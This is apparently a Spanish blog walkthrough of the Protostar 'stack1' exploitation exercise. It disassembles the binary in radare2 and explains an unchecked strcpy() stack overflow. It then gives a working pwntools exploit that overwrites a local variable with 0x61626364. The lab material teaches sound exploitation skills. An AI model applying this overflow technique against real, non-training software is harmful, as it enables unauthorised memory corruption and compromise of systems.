El binario
./stack1
es idéntico a ./stack0
salvo por algunas pequeñas diferencias, veamos cuáles:
dpc@kernelinside:~/protostar/bin$ ./stack1 test
Try again, you got 0x00000000
Esta vez
./stack1
recibe la entrada mediante un argumento y no desde stdin
como en el reto anterior. Además, el mensaje de chico bueno nos indica un valor en hexadecimal, que intuimos es el que actualmente tiene la variable canary
que ya vimos en ./stack0
. Procedemos con radare2:
dpc@kernelinside:~/protostar/bin$ r2 ./stack1
-- This computer has gone to sleep.
[0x080483b0]> aas
[0x080483b0]> e asm.bytes=false
[0x080483b0]> iz
000 0x000005a0 0x080485a0 27 28 (.rodata) ascii please specify an argument\n
001 0x000005bc 0x080485bc 54 55 (.rodata) ascii you have correctly got the variable to the right value
002 0x000005f3 0x080485f3 26 27 (.rodata) ascii Try again, you got 0x%08x\n
Ningún mensaje misterioso por el momento.
[0x080483b0]> afl
0x08048000 25 824 -> 826 segment.LOAD0
0x08048114 21 548 -> 549 segment.INTERP
0x08048338 1 12 fcn.08048338
0x08048348 1 6 loc.imp.__gmon_start
0x08048358 1 6 sym.imp.__libc_start_main
0x08048368 1 6 sym.imp.strcpy
0x08048378 1 6 sym.imp.printf
0x08048388 1 6 sym.imp.errx
0x08048398 1 6 sym.imp.puts
0x080483b0 1 33 sym._start
0x080483e0 6 85 sym.__do_global_dtors_aux
0x08048440 4 35 sym.frame_dummy
0x08048464 6 115 main
0x080484e0 1 5 sym.__libc_csu_fini
0x080484f0 4 90 sym.__libc_csu_init
0x0804854a 1 4 sym.__i686.get_pc_thunk.bx
0x08048550 4 42 sym.__do_global_ctors_aux
0x0804857c 1 28 sym._fini
0x08048598 23 124 -> 130 obj._fp_hw
Efectivamente, de nuevo solo
main()
como objetivo principal:
[0x080483b0]> s main
[0x08048464]> pdf
/ (fcn) main 115
| main (int arg_8h, int arg_ch);
| ; arg int arg_8h @ ebp+0x8
| ; arg int arg_ch @ ebp+0xc
| ; var int local_4h @ esp+0x4
| ; var int local_1ch @ esp+0x1c
| ; var int local_5ch @ esp+0x5c
| ; DATA XREF from sym._start (0x80483c7)
| 0x08048464 push ebp
| 0x08048465 mov ebp, esp
| 0x08048467 and esp, 0xfffffff0
| 0x0804846a sub esp, 0x60 ; '`'
| 0x0804846d cmp dword [arg_8h], 1 ; [0x1:4]=-1 ; 1
| ,=< 0x08048471 jne 0x8048487
| | 0x08048473 mov dword [local_4h], str.please_specify_an_argument ; [0x80485a0:4]=0x61656c70 ; "please specify an argument\n"
| | 0x0804847b mov dword [esp], 1
| | 0x08048482 call sym.imp.errx
Se comprueba si
arg_8h
(argc) es distinto de 1, en caso contrario se imprime un mensaje de error. Sino, sigue así:
| `-> 0x08048487 mov dword [local_5ch], 0
| 0x0804848f mov eax, dword [arg_ch] ; [0xc:4]=-1 ; 12
| 0x08048492 add eax, 4
| 0x08048495 mov eax, dword [eax]
| 0x08048497 mov dword [local_4h], eax
| 0x0804849b lea eax, [local_1ch] ; 0x1c ; 28
| 0x0804849f mov dword [esp], eax
| 0x080484a2 call sym.imp.strcpy ; char *strcpy(char *dest, const char *src)
La variable
local_5ch
(canary) se establece a 0 y el argumento pasado al programa se copia mediante strcpy()
en local_1ch
(buffer).
| 0x080484a7 mov eax, dword [local_5ch] ; [0x5c:4]=-1 ; '\' ; 92
| 0x080484ab cmp eax, 0x61626364 ; 'dcba'
| ,=< 0x080484b0 jne 0x80484c0
Se compara el valor del canary con la constante hexadecimal
0x61626364
(ascii "dcba"). En caso afirmativo hemos ganado:
| | 0x080484b2 mov dword [esp], str.you_have_correctly_got_the_variable_to_the_right_value ; [0x80485bc:4]=0x20756f79 ; "you have correctly got the variable to the right value"
| | 0x080484b9 call sym.imp.puts ; int puts(const char *s)
| ,==< 0x080484be jmp 0x80484d5
De ser distinto nos invitan a probar de nuevo:
| |`-> 0x080484c0 mov edx, dword [local_5ch] ; [0x5c:4]=-1 ; '\' ; 92
| | 0x080484c4 mov eax, str.Try_again__you_got_0x_08x ; 0x80485f3 ; "Try again, you got 0x%08x\n"
| | 0x080484c9 mov dword [local_4h], edx
| | 0x080484cd mov dword [esp], eax
| | 0x080484d0 call sym.imp.printf ; int printf(const char *format)
| | ; CODE XREF from main (0x80484be)
| `--> 0x080484d5 leave
\ 0x080484d6 ret
Como vemos, la vulnerabilidad es idéntica a la de
./stack0
, esta vez llamando a una función strcpy()
sin control de límites. La diferencia es que ahora nos piden que modifiquemos el canary con un valor elegido por los creadores del reto, y recordando siempre que la arquitectura i386 es little-endian. Aquí el exploit:
from pwn import *
context(arch="i386", os="linux")
context.binary="/home/dpc/protostar/bin/stack1"
padding = "A"*64
canary = 0x61626364
def exploit():
payload = padding + p32(canary)
p = process(argv=[context.binary.path, payload])
print(p.recv())
if __name__ == "__main__":
exploit()
Lanzamos el script:
dpc@kernelinside:~/protostar/bin$ python ./exp_stack1.py
[*] '/home/dpc/protostar/bin/stack1'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
[+] Starting local process '/home/dpc/protostar/bin/stack1': pid 1636
[*] Process '/home/dpc/protostar/bin/stack1' stopped with exit code 55 (pid 1636)
you have correctly got the variable to the right value
Pwned!
No hay comentarios:
Publicar un comentario